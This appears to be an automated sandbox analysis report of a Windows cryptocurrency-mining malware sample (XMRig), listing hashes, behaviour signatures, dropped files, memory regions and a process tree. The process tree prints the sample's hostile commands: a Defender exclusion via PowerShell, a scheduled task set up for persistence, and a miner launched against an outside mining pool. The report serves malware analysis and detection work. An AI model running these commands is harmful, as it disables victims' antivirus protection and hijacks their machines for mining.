Analysis

  • max time kernel
    64s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2022 16:30

General

  • Target

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61.exe

  • Size

    1.1MB

  • MD5

    19a474356662325b2059630216338194

  • SHA1

    5537672751a37401bccf455f651d564bb314a924

  • SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

  • SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • SSDEEP

    24576:8tPBwXgZiujGrs4EroJ7WtRDbQMPLqxpw3qt:CigZMsMN4v9jqxpwa

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61.exe
    "C:\Users\Admin\AppData\Local\Temp\8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1736
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp3110.tmp.bat""
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:580
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:568
      • C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:916
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:340
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1804
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1192

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    1.1MB

    MD5

    19a474356662325b2059630216338194

    SHA1

    5537672751a37401bccf455f651d564bb314a924

    SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

    SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    1.1MB

    MD5

    19a474356662325b2059630216338194

    SHA1

    5537672751a37401bccf455f651d564bb314a924

    SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

    SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • C:\Users\Admin\AppData\Local\Temp\tmp3110.tmp.bat

    Filesize

    149B

    MD5

    cd3a66d35de4349948eb82b00e894be0

    SHA1

    ffec75f5625b0be4e0beea79ad128c4bd8d6d8bc

    SHA256

    2f4b7612214beb1f5def8c862b8adcc58111a29d03243d62944f91ee800e5240

    SHA512

    8e9288fc55fa3bc45697955d4a6741c2da6c97078b2da4f8d91e7caec54744ac1c787592f9c0eddf07596aa5a3b52973100a2e136c4a341ca04e4722a20811fd

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    dd6eb53b98807f933d74951754d46bd3

    SHA1

    380eed38fe24d7cf829270b2b5452b201736e8d1

    SHA256

    99636f970df42e8f37cea8a9989979083beaa2380b8f201457dc6303c65e75a7

    SHA512

    322fa770406ef6f7f0a6a6cd204edb7b40590cc9a6787d4d967a42f537db218d48461df666f68de6c7a31b3027a79ed3d0db33f315e8d8eda75fe89a0c9c901d

  • \ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    1.1MB

    MD5

    19a474356662325b2059630216338194

    SHA1

    5537672751a37401bccf455f651d564bb314a924

    SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

    SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • memory/340-113-0x0000000000000000-mapping.dmp

  • memory/568-79-0x0000000000000000-mapping.dmp

  • memory/580-75-0x0000000000000000-mapping.dmp

  • memory/876-103-0x000007FEFE820000-0x000007FEFE8FB000-memory.dmp

    Filesize

    876KB

  • memory/876-127-0x000007FEF1070000-0x000007FEF108C000-memory.dmp

    Filesize

    112KB

  • memory/876-163-0x00000000003D0000-0x0000000000682000-memory.dmp

    Filesize

    2.7MB

  • memory/876-137-0x00000000003D0000-0x0000000000682000-memory.dmp

    Filesize

    2.7MB

  • memory/876-136-0x00000000001E0000-0x0000000000223000-memory.dmp

    Filesize

    268KB

  • memory/876-135-0x000007FEFC810000-0x000007FEFC86B000-memory.dmp

    Filesize

    364KB

  • memory/876-134-0x000007FEFD400000-0x000007FEFD436000-memory.dmp

    Filesize

    216KB

  • memory/876-133-0x000007FEFAAC0000-0x000007FEFAAE7000-memory.dmp

    Filesize

    156KB

  • memory/876-107-0x000007FEFBA40000-0x000007FEFBA96000-memory.dmp

    Filesize

    344KB

  • memory/876-131-0x000007FEF8150000-0x000007FEF81C1000-memory.dmp

    Filesize

    452KB

  • memory/876-130-0x000007FEF80E0000-0x000007FEF8144000-memory.dmp

    Filesize

    400KB

  • memory/876-129-0x000007FEFDA40000-0x000007FEFDA8D000-memory.dmp

    Filesize

    308KB

  • memory/876-128-0x000007FEF1090000-0x000007FEF10F2000-memory.dmp

    Filesize

    392KB

  • memory/876-126-0x000007FEFC9F0000-0x000007FEFCA07000-memory.dmp

    Filesize

    92KB

  • memory/876-125-0x000007FEFCB40000-0x000007FEFCB62000-memory.dmp

    Filesize

    136KB

  • memory/876-124-0x000007FEFEBA0000-0x000007FEFEBBF000-memory.dmp

    Filesize

    124KB

  • memory/876-123-0x000007FEFF540000-0x000007FEFF617000-memory.dmp

    Filesize

    860KB

  • memory/876-115-0x000007FEFB7F0000-0x000007FEFBA05000-memory.dmp

    Filesize

    2.1MB

  • memory/876-108-0x00000000003D0000-0x0000000000682000-memory.dmp

    Filesize

    2.7MB

  • memory/876-109-0x000007FEF6710000-0x000007FEF683C000-memory.dmp

    Filesize

    1.2MB

  • memory/876-106-0x000007FEFD700000-0x000007FEFD903000-memory.dmp

    Filesize

    2.0MB

  • memory/876-132-0x000007FEFCFC0000-0x000007FEFCFE5000-memory.dmp

    Filesize

    148KB

  • memory/876-95-0x00000000772B0000-0x00000000773AA000-memory.dmp

    Filesize

    1000KB

  • memory/876-104-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

    Filesize

    9.9MB

  • memory/876-102-0x000007FEFAE10000-0x000007FEFAF07000-memory.dmp

    Filesize

    988KB

  • memory/876-88-0x0000000000000000-mapping.dmp

  • memory/876-101-0x000007FEFF0C0000-0x000007FEFF131000-memory.dmp

    Filesize

    452KB

  • memory/876-100-0x000007FEFD460000-0x000007FEFD4CC000-memory.dmp

    Filesize

    432KB

  • memory/876-92-0x000007FEFB0F0000-0x000007FEFB15F000-memory.dmp

    Filesize

    444KB

  • memory/876-105-0x000007FEFD910000-0x000007FEFDA3D000-memory.dmp

    Filesize

    1.2MB

  • memory/876-94-0x000007FEFD590000-0x000007FEFD5F7000-memory.dmp

    Filesize

    412KB

  • memory/876-93-0x000007FEFAF10000-0x000007FEFAFAC000-memory.dmp

    Filesize

    624KB

  • memory/876-99-0x00000000003D0000-0x0000000000682000-memory.dmp

    Filesize

    2.7MB

  • memory/876-98-0x0000000077190000-0x00000000772AF000-memory.dmp

    Filesize

    1.1MB

  • memory/876-96-0x000007FEFEB00000-0x000007FEFEB9F000-memory.dmp

    Filesize

    636KB

  • memory/876-97-0x00000000001E0000-0x0000000000223000-memory.dmp

    Filesize

    268KB

  • memory/916-110-0x0000000000000000-mapping.dmp

  • memory/916-120-0x000000001B860000-0x000000001BB5F000-memory.dmp

    Filesize

    3.0MB

  • memory/916-119-0x0000000002474000-0x0000000002477000-memory.dmp

    Filesize

    12KB

  • memory/916-118-0x000007FEEBB10000-0x000007FEEC66D000-memory.dmp

    Filesize

    11.4MB

  • memory/916-122-0x000000000247B000-0x000000000249A000-memory.dmp

    Filesize

    124KB

  • memory/916-116-0x000007FEEC670000-0x000007FEED093000-memory.dmp

    Filesize

    10.1MB

  • memory/916-121-0x0000000002474000-0x0000000002477000-memory.dmp

    Filesize

    12KB

  • memory/1192-162-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-143-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-141-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-139-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-138-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-145-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-147-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-158-0x0000000140343234-mapping.dmp

  • memory/1192-164-0x0000000000000000-0x0000000001000000-memory.dmp

    Filesize

    16.0MB

  • memory/1192-165-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1192-166-0x0000000000000000-0x0000000001000000-memory.dmp

    Filesize

    16.0MB

  • memory/1328-56-0x000007FEFAFB0000-0x000007FEFB04C000-memory.dmp

    Filesize

    624KB

  • memory/1328-68-0x000007FEFD910000-0x000007FEFDA3D000-memory.dmp

    Filesize

    1.2MB

  • memory/1328-77-0x0000000000F50000-0x0000000001202000-memory.dmp

    Filesize

    2.7MB

  • memory/1328-61-0x000007FEFD460000-0x000007FEFD4CC000-memory.dmp

    Filesize

    432KB

  • memory/1328-62-0x000007FEFF0C0000-0x000007FEFF131000-memory.dmp

    Filesize

    452KB

  • memory/1328-59-0x000007FEFEB00000-0x000007FEFEB9F000-memory.dmp

    Filesize

    636KB

  • memory/1328-55-0x000007FEFB160000-0x000007FEFB1CF000-memory.dmp

    Filesize

    444KB

  • memory/1328-58-0x00000000772B0000-0x00000000773AA000-memory.dmp

    Filesize

    1000KB

  • memory/1328-63-0x000007FEFAEB0000-0x000007FEFAFA7000-memory.dmp

    Filesize

    988KB

  • memory/1328-60-0x0000000077190000-0x00000000772AF000-memory.dmp

    Filesize

    1.1MB

  • memory/1328-65-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

    Filesize

    9.9MB

  • memory/1328-72-0x000007FEF69E0000-0x000007FEF6B0C000-memory.dmp

    Filesize

    1.2MB

  • memory/1328-71-0x0000000000F50000-0x0000000001202000-memory.dmp

    Filesize

    2.7MB

  • memory/1328-70-0x000007FEFBA40000-0x000007FEFBA96000-memory.dmp

    Filesize

    344KB

  • memory/1328-69-0x000007FEFD700000-0x000007FEFD903000-memory.dmp

    Filesize

    2.0MB

  • memory/1328-80-0x00000000000E0000-0x0000000000123000-memory.dmp

    Filesize

    268KB

  • memory/1328-67-0x00000000000E0000-0x0000000000123000-memory.dmp

    Filesize

    268KB

  • memory/1328-66-0x0000000000F50000-0x0000000001202000-memory.dmp

    Filesize

    2.7MB

  • memory/1328-57-0x000007FEFD590000-0x000007FEFD5F7000-memory.dmp

    Filesize

    412KB

  • memory/1328-64-0x000007FEFE820000-0x000007FEFE8FB000-memory.dmp

    Filesize

    876KB

  • memory/1328-76-0x000007FEFEBA0000-0x000007FEFEBBF000-memory.dmp

    Filesize

    124KB

  • memory/1736-82-0x000007FEF59A0000-0x000007FEF64FD000-memory.dmp

    Filesize

    11.4MB

  • memory/1736-83-0x0000000002454000-0x0000000002457000-memory.dmp

    Filesize

    12KB

  • memory/1736-84-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

    Filesize

    3.0MB

  • memory/1736-81-0x000007FEECC20000-0x000007FEED643000-memory.dmp

    Filesize

    10.1MB

  • memory/1736-86-0x000000000245B000-0x000000000247A000-memory.dmp

    Filesize

    124KB

  • memory/1736-73-0x0000000000000000-mapping.dmp

  • memory/1736-74-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

    Filesize

    8KB

  • memory/1736-85-0x0000000002454000-0x0000000002457000-memory.dmp

    Filesize

    12KB

  • memory/1804-117-0x0000000000000000-mapping.dmp